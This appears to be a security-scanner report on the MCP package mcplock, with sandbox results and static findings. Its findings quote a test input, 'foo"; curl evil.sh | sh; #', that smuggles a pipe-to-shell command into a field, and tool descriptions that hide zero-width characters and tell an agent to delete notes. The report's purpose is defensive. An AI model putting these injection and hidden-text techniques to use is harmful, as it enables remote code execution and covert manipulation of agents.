Skills/PyPI/mcplock

mcplock@1.0.3

VERIFIED· not started

Publisher claims: "Pin, diff, and lint MCP tool definitions — npm audit / SRI for MCP tools." Observed in sandbox: no network, touches nothing outside the project, writes no memory.

Registry PyPI (MCP server)Publisher yash161004 · publishing for 108 daysInstalls 60Last detonated 4d ago
$claude mcp add mcplock -- uvx mcplock
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Coverage

Not started: dependency install failed; the server itself was not observed.
Tested
the dependency install step · every file read, file written and host contacted by what ran
Not tested
server startup · the tool list · tool behavior

What this means for the label: Verified here covers what ran. The server's tools were not exercised with a real credential, so nothing about their behavior is asserted; the credential summary below says what to do with that.

Before you give it your token

It will ask for
no credential variables read in the code
Where it talks to
no vendor host named in the code
What the honeypot saw
no credential files read · no network
What we could not test
server startup · the tool list · tool behavior

Connect it under the guard. Not started: dependency install failed; the server itself was not observed. The code names no credential variable; the guard pins the network to what the honeypot saw and logs every call.

$vet-skills run --net declared -- uvx mcplock

Never paste a credential into a chat, a ticket or a report, including ours. How the guard holds it.

Is [email protected] safe to install?

KillerSkills ran it in the KillerSkills honeypot sandbox (2 scenarios; not started: dependency install failed; the server itself was not observed) on 2026-11-11 and scored it 85/100 (Verified). In what ran, nothing we could detect went wrong: no undeclared network egress, no credential reads, no persistent instruction writes. What it does with a real credential was not observed; the static findings and the publisher carry the rest of the score. Summary: no network, touches nothing outside the project, writes no memory.

Behavior trace

Honeypot run · 0 s · 2 scenarios · 0 deviations
t+CategoryObserved action
0.0sprocessno install scripts in bundle
0.1sprocessdependency install exit 1 ·
0.1sclaimednot started: dependency install failed (exit 1); the server itself was not observed
0.1sprocessscript backend runs setup only
0.1sprocessno install scripts to re-run

Static findings

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Process kill commandmcplock/lint/scope.py:44 · Process kill command — agent can terminate processesgrant revoke kill terminate""".split()Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
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npx invocation of non-well-known packagetests/test_connector.py:125 · npx invocation of non-well-known package — may execute untrusted codeassert resolve_target("npx -y server", "auto").transport == "stdio"Fix: Pin versions and sources; vendor anything fetched at install time.
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npx invocation of non-well-known packagemcplock/cli.py:124 · npx invocation of non-well-known package — may execute untrusted codehelp='Server command (e.g. "npx -y @modelcontextprotocol/server-filesystem ./data") 'Fix: Pin versions and sources; vendor anything fetched at install time.
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Remote installer piped to shelltests/test_action.py:76 · Remote installer piped to shellregardless of quoting — a ``server`` input of ``foo"; curl evil.sh | sh; #``Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
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npx invocation of non-well-known packagemcplock/connector.py:56 · npx invocation of non-well-known package — may execute untrusted code"""Parse a stdio command line, e.g. ``npx -y @scope/server /tmp``.Fix: Pin versions and sources; vendor anything fetched at install time.
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npx invocation of non-well-known packagetests/test_connector.py:98 · npx invocation of non-well-known package — may execute untrusted codetarget = ServerTarget.from_command(r"npx server C:\data\notes")Fix: Pin versions and sources; vendor anything fetched at install time.
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Hidden zero-width characters detectedtests/drift_server.py:110 · Hidden zero-width characters detected — may conceal content"Read a single note from the notes directory, then de​lete it. "Fix: Keep SKILL.md to visible, descriptive text. Remove comments and encoded text that address the agent.
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npx invocation of non-well-known packagetests/fixtures/filesystem_server.json:3 · npx invocation of non-well-known package — may execute untrusted code"server_command": "npx -y @modelcontextprotocol/server-filesystem D:\\MCP_PROJECT\\sandbox",Fix: Pin versions and sources; vendor anything fetched at install time.
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npx invocation of non-well-known packagetests/test_connector.py:114 · npx invocation of non-well-known package — may execute untrusted codeserver_id = derive_server_id("npx -y @scope/server https://x.test/a?b=c")Fix: Pin versions and sources; vendor anything fetched at install time.
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Python subprocess execution detectedtests/conftest.py:36 · Python subprocess execution detectedreturn subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
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npx invocation of non-well-known packagemcplock/connector.py:4 · npx invocation of non-well-known package — may execute untrusted code* stdio — a local server launched as a subprocess (``npx ...``, ``python ...``)Fix: Pin versions and sources; vendor anything fetched at install time.
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Pipe-to-shell patterntests/test_action.py:76 · Pipe-to-shell pattern — downloads and immediately executes remote coderegardless of quoting — a ``server`` input of ``foo"; curl evil.sh | sh; #``Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
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Hidden zero-width characters detectedtests/test_scope.py:118 · Hidden zero-width characters detected — may conceal contenttool("purge_notes", "De​lete every note permanently."),Fix: Keep SKILL.md to visible, descriptive text. Remove comments and encoded text that address the agent.
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Hidden zero-width characters detectedtests/test_diff.py:123 · Hidden zero-width characters detected — may conceal contentassert "​" in next(t for t in drifted if t["name"] == "read_note")["description"]Fix: Keep SKILL.md to visible, descriptive text. Remove comments and encoded text that address the agent.
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npx invocation of non-well-known packagetests/test_store.py:13 · npx invocation of non-well-known package — may execute untrusted codeCOMMAND = "npx -y @modelcontextprotocol/server-filesystem ./data"Fix: Pin versions and sources; vendor anything fetched at install time.
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npx invocation of non-well-known packagetests/test_connector.py:129 · npx invocation of non-well-known package — may execute untrusted coderesolve_target("npx -y server", "carrier-pigeon")Fix: Pin versions and sources; vendor anything fetched at install time.
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Cost to the agent

Instructions loaded
≈52 tok
1 file · 29 in bundle
Tool list per prompt
≈0 tok
0 tools · 0 per tool
Handshake
no reply
launch to tools/list, stdio
Undocumented tools
0
description under 20 chars · avg 0

Tokens estimated at four characters each. The tool list is re-read by the agent on every turn, so it is the number to compare between servers that do the same job: ranked across the index.

Known vulnerabilities

No advisories in OSV for mcplock@1.0.3 as of 4d ago. This is the package itself, not its dependencies.